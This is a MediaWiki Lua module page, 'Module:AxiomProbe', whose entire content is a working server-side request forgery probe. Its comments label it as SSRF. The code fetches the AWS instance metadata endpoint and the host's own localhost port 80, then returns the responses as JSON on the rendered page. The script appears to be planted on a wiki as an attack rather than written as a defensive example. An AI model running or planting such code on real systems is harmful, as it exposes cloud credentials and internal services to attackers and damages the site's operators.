Module:AxiomProbe
Appearance
Documentation for this module may be created at Module:AxiomProbe/doc
local p = {}
function p.main(frame)
local results = {}
-- Probe AWS metadata via mw.http (SSRF)
local ok, r = pcall(mw.http.get, 'http://169.254.169.254/latest/meta-data/')
if ok and r then
results.aws = tostring(r.body or r)
else
results.aws_err = tostring(r)
end
-- Probe internal localhost
local ok2, r2 = pcall(mw.http.get, 'http://127.0.0.1:80/')
if ok2 and r2 then
results.local80 = tostring(r2.body or ''):sub(1,200)
else
results.local80_err = tostring(r2)
end
return mw.text.jsonEncode(results)
end
return p